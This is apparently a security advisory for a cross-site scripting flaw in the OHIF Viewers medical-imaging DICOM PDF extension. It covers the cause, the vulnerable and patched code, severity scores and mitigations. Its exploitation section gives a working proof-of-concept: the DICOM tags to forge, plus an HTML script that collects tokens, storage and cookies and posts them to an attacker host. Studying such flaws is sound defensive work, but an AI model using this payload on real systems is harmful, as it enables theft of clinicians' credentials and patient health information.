CVE-2026-118670: DOM-Based Cross-Site Scripting in OHIF Viewers dicom-pdf Extension

OHIF Viewers is an open-source, web-based medical imaging platform designed to interface with Picture Archiving and Communication Systems (PACS) via DICOMweb protocols (WADO-RS, QIDO-RS, STOW-RS) and local file imports. Within its modular architecture, the @ohif/extension-dicom-pdf extension (extensions/dicom-pdf) handles the parsing and viewport rendering of non-image clinical documentation, specifically targeting the DICOM Encapsulated PDF Storage SOP Class (1.2.840.10008.5.1.4.1.1.104.1).

In clinical workflows, DICOM studies frequently contain encapsulated documents alongside radiological series, such as diagnostic reports, clinical histories, or scanned referrals. To render these documents in a zero-footprint browser environment, the viewer retrieves the raw binary payload from the DICOM instance, constructs a browser-native Blob URL (blob:<origin>/<uuid>), and mounts the resource into the Document Object Model (DOM) using an HTML <object> container.

CVE-2026-118670 (classified under CWE-79: Improper Neutralization of Input During Web Page Generation) stems from the unvalidated propagation of the DICOM attribute MIMETypeOfEncapsulatedDocument (tag (0042,0012)) directly into the Blob constructor's type property. Because the resulting blob: URL inherits the security origin of the parent OHIF application, embedding a Blob assigned a markup MIME type (text/html, application/xhtml+xml, text/xml) into an <object> tag causes the browser to parse and execute embedded scripts within the privileges of the active user session.

Successful exploitation allows an unauthenticated attacker who can introduce a crafted DICOM object into a PACS server or deliver it for local viewing to achieve full same-origin JavaScript execution. Within a healthcare environment, this grants unauthorized access to OAuth2/OIDC bearer tokens in localStorage or sessionStorage, exposure of sensitive Patient Health Information (PHI), and the ability to issue authenticated API requests against backend clinical archives.

According to DICOM Standard Part 3 (PS 3.3), the Encapsulated Document Module encapsulates an arbitrary binary document stream within the EncapsulatedDocument attribute (0042,0011) and declares its media type in the MIMETypeOfEncapsulatedDocument attribute (0042,0012). While the Encapsulated PDF Storage SOP Class (1.2.840.10008.5.1.4.1.1.104.1) expects application/pdf, the contents of both tags are entirely controlled by the entity creating or modifying the DICOM file.

In vulnerable versions of OHIF Viewers (>= 3.5.0-beta.0 prior to patched releases), extensions/dicom-pdf/src/getSopClassHandlerModule.js extracts MIMETypeOfEncapsulatedDocument from the instance metadata and passes it as defaultType to dataSource.retrieve.directURL(). When the underlying data source resolves the binary data—either from an inline base64 binary (InlineBinary) or via a WADO-RS bulkdata request—it instantiates a JavaScript Blob using the attacker-specified MIME type (new Blob([payloadBytes], { type: MIMETypeOfEncapsulatedDocument })) and generates an Object URL via URL.createObjectURL(blob).

The resulting blob: URL is passed to OHIFCornerstonePdfViewport.tsx, which renders <object data={url} type="application/pdf">. Under the WHATWG HTML Living Standard for the <object> element, the type attribute is treated only as an advisory hint prior to resource retrieval. Once the browser fetches the resource from the blob: URL, the authoritative Content-Type header—which for a Blob is its internal type property—overrides the element's type="application/pdf" attribute.

Furthermore, W3C File API specifications dictate that blob: URLs inherit the security origin of the browsing context that created them. When the browser loads a blob: URL with an internal MIME type of text/html inside an <object> element (which establishes a nested browsing context without sandboxing restrictions), the browser renders the HTML document and executes any embedded <script> blocks under the exact origin of the host OHIF Viewer.

In the unpatched codebase, extensions/dicom-pdf/src/getSopClassHandlerModule.js retrieves the MIME type directly from the DICOM metadata dictionary without sanitization or allowlist enforcement, and extensions/dicom-pdf/src/viewports/OHIFCornerstonePdfViewport.tsx embeds the resulting URL into an unsandboxed <object> element:

// Vulnerable code in extensions/dicom-pdf/src/getSopClassHandlerModule.js
const { SeriesDescription = 'PDF', MIMETypeOfEncapsulatedDocument } = instance;
const renderedUrlParams = {
  instance,
  tag: 'EncapsulatedDocument',
  // Attacker controls MIMETypeOfEncapsulatedDocument via tag (0042,0012)
  defaultType: MIMETypeOfEncapsulatedDocument || 'application/pdf',
  singlepart: 'pdf',
};
const renderedUrl = dataSource.retrieve.directURL(renderedUrlParams);

// Vulnerable rendering in extensions/dicom-pdf/src/viewports/OHIFCornerstonePdfViewport.tsx
<object
  data={url}
  type="application/pdf" // Ignored by browser when Blob internal MIME type is text/html
  className={style}
>
  <div>No online PDF viewer installed</div>
</object>

Pull Request #6228 remediates the flaw by introducing a multi-stage verification and isolation architecture across displayableDocumentTypes.ts and OHIFCornerstonePdfViewport.tsx (commits ef0811c66cdb04ba07ffaba145cf66ce01486899, db546701bd5f2be9031c835f1de5c40aacd3dc62, and f0dba789a313f40fe7e8a8cbec322a8d8a491d76). First, the patch defines an explicit allowlist of displayable document types, normalizing non-standard aliases and separating rendering strategies between 'object' and 'iframe':

// Patched allowlist and strategy mapping in displayableDocumentTypes.ts
export const DISPLAYABLE_DOCUMENT_TYPES: Record<string, DisplayableDocumentType> = {
  'application/pdf': {
    mimeType: 'application/pdf',
    strategy: 'object',
    // Enforce %PDF- magic byte verification
    signature: [0x25, 0x50, 0x44, 0x46, 0x2d],
    signatureSearchLimit: 1024,
  },
  'text/html': {
    mimeType: 'text/html',
    strategy: 'iframe',
    // Empty sandbox disables scripts and enforces an opaque origin
    sandbox: '',
  },
  'application/xhtml+xml': {
    mimeType: 'application/xhtml+xml',
    strategy: 'iframe',
    sandbox: '',
  },
  'text/xml': {
    mimeType: 'text/xml',
    strategy: 'iframe',
    sandbox: '',
  },
  'application/xml': {
    mimeType: 'application/xml',
    strategy: 'iframe',
    sandbox: '',
  },
  'text/plain': {
    mimeType: 'text/plain',
    strategy: 'iframe',
    sandbox: '',
  },
};

Second, to prevent content-sniffing attacks or polyglot payloads where an HTML document is declared as application/pdf, the patch inspects the raw ArrayBuffer payload using matchesDocumentSignature(). For PDF documents, it verifies that the %PDF- magic byte sequence (0x25, 0x50, 0x44, 0x46, 0x2D) appears within the first 1024 bytes:

// Binary signature verification in displayableDocumentTypes.ts
export function matchesDocumentSignature(
  documentType: DisplayableDocumentType,
  payload: ArrayBuffer
): boolean {
  const { signature, signatureSearchLimit = 0 } = documentType;
  if (!signature?.length) return true;
  if (payload.byteLength < signature.length) return false;
 
  const lastStart = Math.min(signatureSearchLimit, payload.byteLength - signature.length);
  const head = new Uint8Array(payload, 0, lastStart + signature.length);
 
  for (let start = 0; start <= lastStart; start++) {
    if (signature.every((byte, index) => head[start + index] === byte)) {
      return true;
    }
  }
  return false;
}

The fix is comprehensive against both direct MIME manipulation and MIME spoofing. By re-wrapping verified PDF payloads into a new Blob with a hardcoded canonical application/pdf type only after verifying the %PDF- header, and forcing all markup/text types (text/html, text/xml, application/xhtml+xml) into an <iframe sandbox="" referrerPolicy="no-referrer"> element, the patch isolates non-PDF content in a unique opaque origin with script execution disabled.

Exploiting CVE-2026-118670 requires no prior authentication if the target environment accepts external DICOM studies via network ingestion (such as an unauthenticated DICOM C-STORE listener or an open STOW-RS endpoint) or if a clinician loads a file via the local file import workflow. User interaction is required only insofar as a victim user must open the malicious study series within the OHIF Viewer interface.

To construct an exploit payload, an attacker generates a valid DICOM Part 10 file with the following attributes:

• SOPClassUID (0008,0016): 1.2.840.10008.5.1.4.1.1.104.1 (Encapsulated PDF Storage)
• Modality (0008,0060): DOC or OT
• MIMETypeOfEncapsulatedDocument (0042,0012): text/html
• EncapsulatedDocument (0042,0011): Raw bytes of an HTML document containing JavaScript.

<!DOCTYPE html>
<html>
<head>
  <script>
    // Execute within the OHIF Viewer origin
    const authData = {
      localStorage: { ...window.localStorage },
      sessionStorage: { ...window.sessionStorage },
      cookies: document.cookie,
      origin: window.origin
    };
    fetch('https://attacker-controlled.example/collect', {
      method: 'POST',
      mode: 'cors',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(authData)
    });
  </script>
</head>
<body>
  <p>Loading clinical document...</p>
</body>
</html>

When the clinician selects the encapsulated document series in OHIF Viewer, OHIFCornerstonePdfViewport fetches the EncapsulatedDocument byte stream, constructs new Blob([bytes], { type: 'text/html' }), and mounts the resulting blob: URL into <object data="blob:https://pacs.example.org/..."></object>. The browser parses the HTML and executes the <script> block immediately.

> [!NOTE] > Because the <object> browsing context shares the parent window's origin, the script can also access window.parent (or window.top) to manipulate the OHIF application DOM directly, hook internal Cornerstone3D or DICOMweb data source services, or silently alter diagnostic annotations displayed to the radiologist.

CVE-2026-118670 carries a CVSS v3.1 base score of 8.8 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L. The Scope metric is marked as Changed (S:C) because the vulnerability originates in the processing of untrusted data within the DICOM document parser/handler component and breaks out into the broader browser execution context of the hosting web application.

Confidentiality impact is rated High (C:H). In enterprise deployments, OHIF Viewers authenticates to upstream PACS and Vendor Neutral Archives (VNAs) using OpenID Connect (OIDC) or OAuth 2.0. The resulting access tokens and refresh tokens are stored in window.localStorage or window.sessionStorage. An attacker executing same-origin JavaScript can exfiltrate these credentials or directly invoke QIDO-RS and WADO-RS APIs from the victim's browser to exfiltrate arbitrary patient studies and Protected Health Information (PHI).

Integrity (I:L) and Availability (A:L) impacts reflect the attacker's ability to modify client-side state, forge DICOMweb STOW-RS requests (such as uploading falsified structured reports or annotations under the clinician's identity), or disrupt the diagnostic viewport by crashing or redirecting the parent window.

At the time of analysis, CVE-2026-118670 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and its EPSS score stands at 0.00421 (36.69th percentile), indicating a 0.42% statistical probability of exploitation in the wild within a 30-day window.

Organizations deploying OHIF Viewers must upgrade to a patched version that enforces MIME allowlisting, %PDF- binary signature verification, and <iframe> sandboxing:

• For the 3.12.x release line: upgrade to v3.12.15 or later.
• For the 3.13.x release line: upgrade to v3.13.7 or later.
• For the 3.14.x pre-release line: upgrade to v3.14.0-beta.19 or later.

If immediate upgrading is not feasible, administrators can implement defense-in-depth mitigations at the web server and PACS gateway tiers. First, configure strict HTTP Content Security Policy (CSP) headers on the web server hosting OHIF Viewers to restrict script execution and outbound network connections:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'self' blob:; connect-src 'self' https://authorized-pacs.hospital.org;

Note that while script-src 'self' blocks inline <script> execution inside same-origin blob: documents in modern browsers, restricting connect-src is essential to prevent data exfiltration if script execution is achieved via external same-origin script gadgets.

Second, implement DICOM attribute filtering on upstream PACS ingestion gateways (e.g., Orthanc incoming instance callbacks, dcm4chee coercion rules, or custom C-STORE/STOW-RS proxies). Configure the gateway to inspect all incoming DICOM instances matching SOP Class UID 1.2.840.10008.5.1.4.1.1.104.1 and reject any instance where tag (0042,0012) (MIMETypeOfEncapsulatedDocument) is not strictly equal to application/pdf, or where the initial 1024 bytes of tag (0042,0011) (EncapsulatedDocument) do not contain the ASCII string %PDF-.